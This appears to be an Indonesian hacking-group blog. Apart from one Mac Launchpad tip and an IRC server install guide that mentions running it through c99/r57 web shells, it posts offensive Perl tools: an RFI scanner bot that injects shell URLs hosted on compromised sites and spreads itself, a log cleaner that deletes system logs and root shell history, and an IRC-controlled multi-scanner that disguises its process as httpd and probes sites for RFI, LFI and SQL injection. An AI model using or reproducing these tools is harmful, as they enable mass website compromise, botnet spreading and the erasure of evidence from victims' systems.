Latest Posts

Tuesday, April 28, 2015

How to change the Macbook Launchpad Icon Size



Mac Launchpad (first introduced in Mac OS X Lion) is one of the cool and iOS inspired feature in Mac OS X. It is completely a new way to view a grid of apps on new Mac OS, very much alike how an iPad’s home screen appears to be. The OS X launchpad is generally known as an application launcher. The new app launchpad lets you to scroll through and manage applications itself present in the Applications directory on your computer so you’ll never have to sift through the Applications directory again. And when you purchase Software from the Mac App Store, it pops right into Launchpad.

By clicking on launchpad icon located in the dock reveals a screen full of installed application icons, just like what you find in an iOS device’s app page. Obviously, when you install new applications from the app store, the big app icons eventually get occupied in more pages within launchpad due to the fact that fewer app icons can be able to fit on each single page. Accordingly, reducing the size of icon grid allows more icons to fit on the page.


By default, Mac Launchpad shows installed app icons in a grid that is normally 5×8 icons in size. The good news is, you can fit more (or fewer!) of the icons in by adjusting some secret settings. And, this can be achieved by increasing or reducing the size of grid, make the icons to decrease or increase in size to fill up the space. So, in order to make the smaller icons smaller, you simply need to increase the size of grid. Increasing the size of grid to 10×10 icons will reduce the icons size significantly into a scaled-down layout but even now leave it usable. It can be achieved as follows by entering some commands into a Terminal window.

Now, open a Terminal window (go to ‘Utilities’ directory via ‘Go’ menu and open Terminal from the list of Applications), and enter the following command lines, the first of which represents the total number of icon rows and the second of which represents the total number of icon columns.








defaults write com.apple.dock springboard-rows -int 10 defaults write

com.apple.dock springboard-columns -int 10;killall Dock



Try out the above settings until you notice something suitable, but you must aware about the fact that every time you reduce the total number of columns and rows, you’re also lowering the number of app icons in every launchpad page and possibly making overflow directories.


Restoring Default Icon Sizes


In order to bring the default grid size in Mac Launchpad, once again you need to enter some commands in a Terminal window, they are:


defaults delete com.apple.dock springboard-rows defaults delete

com.apple.dock springboard-columns;killall Dock


Then, you may possibly notice that all installed app icons are spread out across different launchpad pages. Actually, it happened because of making icons bigger. This issue can be get fixed by drag and drop the icons back into place or simply execute the following command line via Terminal window, which will reset the launchpad.

defaults write com.apple.dock ResetLaunchPad -bool TRUE;killall Dock
read more...

Friday, November 26, 2010

source bot feelscan 5.4

#!/usr/bin/perl
print('
##################################################
## FeeLCoMz RFI Scanner Bot v5.4 (FeeLScaNz.pl) ##
## By FaTaLisTiCz_Fx ##
## � Agu 2008 - Sep 2009, FeeLCoMz Community ##
##################################################
');
######################################################
## Usage: ##
## perl feelscanz.pl ##
## ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
## + MD5 Crack Search ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thx to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thx to BLood_roSE)
## + Added spread configuration (v5.0)
## + Updated search engines (v5.1)
## + Added HTTP Error handler for search engines (v5.2)
## + Added more search engines (v5.3) (thx to kaMtiEz, arianom, tukulesto, & Mask_Magician)
## + Added md5 hash & crack tool (v5.4)
#############################################################
## Greets: ##
## JavaHack, RoseBanditz, Kill-9, Hacker-Newbie, JatimCrew ##
#############################################################

use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $versi = "v5.4";
my $cmdpre = "!"; #Command Prefix


##[ KONFIGURASI URL ]##
my $fx29id = "http://udon.nfe.go.th/images/id1?"; #Fx29ID1 (Simple) / (Advanced)
my $fx29id2 = "http://udon.nfe.go.th/images/id2?"; #Fx29ID2 (Advanced)
my $fx29sh = "http://www.aneka-asia.com/sendang-art/shell???"; #Fx29Sh (Optional)
my $bypass = "http://jatimcom.shell.la/id/google.php?"; #Googlerz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite = "http://jatimcom.uni.cc/irc/"; #Path to Sources URL (Optional)
my $spread = "http://www.aneka-asia.com/sendang-art/jcom???"; #Fx29Spreadz (Optional)
my $joomlaz = "http://www.aneka-asia.com/sendang-art/joomla.txt?"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.jatimcom.info"); #IRC Servers (Separated by coma)
my %bot = (
nick => "FeeLScaNz[".int(rand(100))."]",
ident => "Felc".int(rand(100)),
chan => ["#jatimcom"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "7000"
);


##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
cimpli => {
pass => 'cimpli',
status => "admin",
cryptz => 0,
login => 0
},
);


##[ KONFIGURASI SPY ]##
my %spy = (
host => "", #Channels to show spied text
chanz => [""], #Channels to spy (Separated by coma)
wordz => ['http://.+?[=]', 'ftp://.+?'], #Text to spy (Regex, Separated by coma)
foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
showsite => 1, #Show link to debug channel (Yes/No)
linez => 4, #Lines per message
sleepz => 3, #Message delay per linez (seconds)
rfipid => 35, #Sites per proccess
rficnt => 100, #Counter setting
rficnt2 => 200, #Counter setting
timeout => 4, #Http socket time out
);

Download In Here
read more...

Monday, March 1, 2010

Instal Unreal IRCD Linux

Menginstal unreal sebenarnya mudah saja, bahkan menurut saya fitur2 nya lebih lengkap di bandingkan jenis IRCD yg lainnya, berikut saya berikan sedikit tutorial menginstal IRCD lewat ssh dengan Unreal versi 3.2.8 :

- masuk ke shells user account anda, kemudian berikan command :
[user@kill-9] wget http://jatimcom.uni.cc/irc/linux.tgz

- extract file tersebut :
[user@kill-9] tar zxvf linux.tgz;rm -f linux.tgz

-masuk ke direktory unreal :
[user@kill-9] cd Unreal

- lakukan proses configurasi :
[user@kill-9/Unreal] ./Config
_ _ _ ___________ _____ _
| | | | | |_ _| ___ \/ __ \ | |
| | | |_ __ _ __ ___ __ _| | | | | |_/ /| / \/ __| |
| | | | '_ \| '__/ _ \/ _ | | | | | / | | / _ |
| |_| | | | | | | __/ (_| | |_| |_| |\ \ | \__/\ (_| |
\___/|_| |_|_| \___|\__,_|_|\___/\_| \_| \____/\__,_|

Configuration Program
for Unreal3.2.8

This program will help you to compile your IRC server, and ask you
questions regarding the compile-time settings of it during the process.
regarding the setup of it, during the process.

If you have problems regarding the setup & compile, read Unreal.nfo to get
more information on where to get help. Please, before running this setup,
read the documentation in the "doc" folder. Docs are also avail online @
http://www.unrealircd.com/unreal32docs.html

[Enter to continue] Enter

Installing 17% <-- tekan enter seterusnya sampai 100% terdapat beberapa pilihan : ==[ ADDITIONAL INFO ]== * See ChangeLog [Enter to continue] Do you want to enable the server anti-spoof protection? [No] -> enter
What directory are all the server configuration files in?
[/usr/local/username/Unreal/] -> enter
What is the path to the ircd binary including the name of the binary?
[/usr/local/username/Unreal/src/ircd] -> enter
Would you like to compile as a hub or as a leaf?
Type Hub to select hub and Leaf to select leaf.
[Hub] -> enter
What is the hostname of the server running your IRCd? -> enter
What should the default permissions for your configuration files be? (Set this to 0 to disable)
It is strongly recommended that you use 0600 to prevent unwanted reading of the file
[0600] - > enter
Do you want to support SSL (Secure Socket Layer) connections?
[No] -> enter
Do you want to enable IPv6 support?
[No] -> enter
Do you want to enable ziplinks support?
[No] -> enter
Do you want to enable remote includes?
[No] -> enter
Do you want to enable prefixes for chanadmin and chanowner?
This will give +a the & prefix and ~ for +q (just like +o is @)
Supported by the major clients (mIRC, xchat, epic, eggdrop, Klient, PJIRC, etc.) with the notable exceptions of irssi, KVIrc and CGI:IRC.
This feature should be enabled/disabled network-wide.
[No] -> enter
What listen() backlog value do you wish to use? Some older servers
have problems with more than 5, others work fine with many more.
[5] -> enter
How far back do you want to keep the nickname history?
[2000] -> enter
What is the maximum sendq length you wish to have?
[3000000] -> enter
How many buffer pools would you like?
This number will be multiplied by MAXSENDQLENGTH.
[18] -> enter
How many file descriptors (or sockets) can the IRCd use?
[1024] -> enter
Would you like any more parameters to configure?
Write them here:
[] -> enter

setelah tahapan diatas, akan muncul :
Now all you have to do is type 'make' and let it compile. When that's done, you will receive other instructions on what to do next.
_______________________________________________________________________
| |
| UnrealIRCd Compile-Time Config |
|_______________________________________________________________________|
|_______________________________________________________________________|
| |
| Now all you have to do is type 'make' and let it compile. When that's |
| done, you will receive other instructions on what to do next. |
| |
|_______________________________________________________________________|
|_______________________________________________________________________|
| - The UnrealIRCd Team - |
| |
| * Stskeeps stskeeps@unrealircd.com |
| * codemastr codemastr@unrealircd.com |
| * Syzop syzop@unrealircd.com |
|_______________________________________________________________________|

-maka ketik :
[user@kill-9/Unreal] make
__________________________________________________
| Compile is now complete. |
| You should now read the documentation and learn |
| how to configure your IRCd. |
| |
| If you really like UnrealIRCd, and would like to |
| make a donation, please read the Donation file in|
| this archive. :) |
| |
| Thanks for using Unreal IRCd! If you are in need |
| for any kind of help regarding the IRCd please |
| read the Unreal.nfo file. |
|__________________________________________________|

proses instalasi akan berjalan, untuk menyempurnakan proses compile ircd, lanjutkan dengan menjalankan perintah :
[user@kill-9/Unreal] make install
__________________________________________________
| Compile is now complete. |
| You should now read the documentation and learn |
| how to configure your IRCd. |
| |
| If you really like UnrealIRCd, and would like to |
| make a donation, please read the Donation file in|
| this archive. :) |
| |
| Thanks for using Unreal IRCd! If you are in need |
| for any kind of help regarding the IRCd please |
| read the Unreal.nfo file. |
|__________________________________________________|

- seeep, skrg tinggal mengedit file unrealircd.conf nya, lakukan perintah :
[user@kill-9/Unreal] pico unrealircd.conf

lakukan proses edit, bagian admin, server, connetc serta opernya, akan lebih mudah mengedit menggunakan program winscp.

-baiklah, saya anggap sudah selesai di edit, skrg tinggal menggunakan jurus run :
[user@kill-9/Unreal] ./unreal start
Starting UnrealIRCd
_ _ _ ___________ _____ _
| | | | | |_ _| ___ \/ __ \ | |
| | | |_ __ _ __ ___ __ _| | | | | |_/ /| / \/ __| |
| | | | '_ \| '__/ _ \/ _` | | | | | / | | / _` |
| |_| | | | | | | __/ (_| | |_| |_| |\ \ | \__/\ (_| |
\___/|_| |_|_| \___|\__,_|_|\___/\_| \_| \____/\__,_|
v3.2.8
using TRE 0.7.5 (LGPL)

* Loading IRCd configuration ..
* Configuration loaded without any problems ..
* Dynamic configuration initialized .. booting IRCd.
---------------------------------------------------------------------

DONE GOOD JOB :D

pada intinya commandnya hannya
./Config
make
make install
./unreal start

Ctt.
hanya berjalan pada linux dan keluarga UNIX lainya
proses penginstalan dapat dilakukan meskipun tidak lewat ssh atau hanya lewat r57/c99/c100 atau gak harus root user biasa pun bisa
progam di atas hanya install server irc saja belom termasuk servicesnya


Copyright @ KILL-9
read more...

Sunday, February 21, 2010

Log Clear

#!usr/bin/perl -w #Warnings enabled!
#Log cleaner for Public
#Report bugs to admin@jatimcom.uni.cc
#NOTE - YOU MUST BE ROOT!
print ('
############################
# Log Cleaner 1.0 PUBLIC #
# Jcomers #
# Nothing Is Impossible #
# http://jatimcom.uni.cc/ #
############################
');
while(1) {
print "Enter Which OS: "; #User Input
chomp($os = <STDIN>); #Takes it into memory


if($os eq "help"){
print "[+]Enter Your OS! Choose from 'linux', 'aix', 'sunos', 'irix'\n";
print "[+]Hit enter with OS, Let the script do its work\n";
print "[+]Note: You MUST Be Root!\n";
print "[+]Visit http://jatimcom.uni.cc/\n";
print "[+] - Jcomers\n";
}

if($os eq "linux"){ #If linux typed, do the following and start brackets
foreach my $logphile(@linux) {
unlink($logphile) || print "[-]Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "sunos"){ #If sunos typed, do the following and start brackets
foreach my $logphile(@sunos) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "aix"){ #If aix typed, do the following and start brackets
foreach my $logphile(@aix) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "irix"){ #If irix typed, do the following and start bracket
foreach my $logphile(@irix) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}

} else { print"Umm WTF !?\n"; }



#Logs of Irix Systems

{ #Start Irix Bracket
@irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
"/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
"/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
"/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
"/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
"/var/adm/crash/unix") #End Array
} #End Irix Bracket
#Log sof Aix Systems
{ #Start Aix Bracket
@aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
"/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
"/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
"/etc/security/failedlogin", "usr/spool/mqueue/syslog") #End Array
} #End Aix Bracket
#Logs of SunOS Systems
{ #Start SunOS Bracket
@sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
"/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
"/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
"/var/adm/log/asppp.log", "/var/log/syslog",
"/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
"/var/lp/logs/lpsched", "/var/lp/logs/requests",
"/var/cron/logs", "/var/saf/_log", "/var/saf/port/log") #End Array
} #End Sunos bracket
#Logs of Linux Systems
{ #Start Linux Bracket
@linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
"/var/log/secure","/root/.ksh_history", "/root/.bash_history",
"/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
"/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
"/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
"/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
"/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
"/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
"/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
"/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
"/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice",
"/var/log/news/suck.err", "/var/log/news/suck.notice",
"/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
"/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
"/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
"/var/log/auth") #End array
} #End linux bracket

} #Ends Loop
read more...

New Multi Scanner

#!/usr/bin/perl
print('
###################################
# Jatimcom Multi Scanner #
# Moded By Jcommers #
# Copyleft © 2010 Jatimcom #
###################################
');
##################################################
## Usage: ##
## perl file.pl ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + SQL Scanner ##
## + ASP Scanner ##
## + MD5 Crack & Encript ##
## + Dont Forget To Cek http://jatimcom.uni.cc/ ##
##################################################

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
#################################################

my $fakeproc = "/usr/local/apache/bin/httpd";
my $ircserver = "irc.jatimcom.us";
my $ircport = "7000";
my $nickname = "MULTI[scan]";
my $ident = "Jatimcom";
my $channel = '#jatimcom';
my $runner = "cimpli";
my $fullname = ' 10( 14@ 10Jatimcom-Multi-Scanner 10) ';
#################################################

my $injector = "http://acscc.com//forum/cache/id/idmulti?";
my $phpshell = "http://www.sanvan.net/new/newzz.txt??";
my $rficmd = '!rfi';
my $lficmd = '!lfi';
my $sqlcmd = '!sql';
my $aspcmd = '!asp';
my $alicmd = '!log';
my $encrypt = '!enc';
my $decrypt = '!dec';
my $zipcmd = '!zip';
my $ipcmd = '!ip';
my $hostcmd = '!host';
$rfi_result = "JaTimcoM";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$sql_output = ("Query failed|Query Error|right syntax to use near");
$asp_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation|Unclosed quotation mark before the character string ''");
#################################################

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

chdir("/");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();

sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
#################################################

sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}
#################################################

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION Jatimcom Multi Scaner\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick|".int rand(999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $nickname +Bx");
sendraw("JOIN $channel");
sendraw("PRIVMSG $channel :JaTimCom Scanner Ready");
sendraw("PRIVMSG $runner :Hi $runner im here !!!");
}
}
#################################################

my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;

#####################################################################
############################[ CMD LIST ]#############################
#####################################################################

if ($msg=~ /PRIVMSG $channel :!help/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $rficmd <bug> <dork> | $lficmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $sqlcmd | $aspcmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $encrypt <text> | $decrypt <hash> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Apache Log Injection : $alicmd <host> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 !id | !engine | !pid | !version | !about ");
}

if ($msg=~ /PRIVMSG $channel :!id/){
&response();
}

if ($msg=~ /PRIVMSG $channel :!version/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 New Jatimcom Multi ScanNer ");
}

if ($msg=~ /PRIVMSG $channel :!engine/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo. ");
}

if ($msg=~ /PRIVMSG $channel :!pid/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Process/ID : 4 $fakeproc - $$ ");
}

if ($msg=~ /PRIVMSG $channel :!about/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 JATIMCOM MULTI ScanNer ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Moded by Jcommers - http://jatimcom.uni.cc/ ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Copyleft © 2010 Jatim Community ");
}




##################################################################### GDataOnline.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14-> 3 ".$result);
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14not found."); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open GDataOnline.cOm "); }
}
exit;
}}


##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14-> 3 ".$result);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14not found.");
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open Md5.RedNoize.cOm "); }
}
exit;
}}

##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hash
if ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $teks=$1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Trying to encrypt 14 ".$teks." 10... ");
my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
my $request = HTTP::Request->new(GET=>$hashing);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
my ($md5,$sha1,$base64) = ($1,$2,$3);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 MD5 : 14 ".$teks." 10-> 3 ".$md5);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Sha1 : 14 ".$teks." 10-> 3 ".$sha1);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Base64 : 14 ".$teks." 10-> 3 ".$base64);
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open c0li.m0de.0n "); }
}
exit;
}}
#####################################################################

if ($msg=~ /PRIVMSG $channel :$hostcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ipaddr = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Domain in 7 ".$ipaddr." 12Host ... ");
my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";
my $res = getcontent($hashing);
while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {
my $dns1 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns1);
sleep(2);
}
while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {
my $dns2 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns2);
sleep(2);
}
if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {
if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {
$mydns = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$mydns);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 7-> 4 Bad Domain.");
}
}
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Listing of Domain in 4 ".$ipaddr." 12is Done.");
}
exit;
}}
#####################################################################

if ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 19) 14 Searching 7 ".$ip." 12Location ... ");
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 IP Address : 3 ".$ipaddress." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 City : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Country : 3 ".$country." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Continent : 3 ".$continent." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 $ip 12-> 4Invalid address or IP not found. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Cannot open www.ipligence.com "); }
}
exit;
}}

##################################################################### US ZIP Lookup www.ZIPInfo.com
if ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $zip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14US-ZIP 14) 10 Looking up 14 ".$zip." 10ZIP Code ... ");
my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Nama Kota : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode State: 3 ".$state." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode ZIP : 3 ".$zipcode." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Kota : 3 ".$county." ");
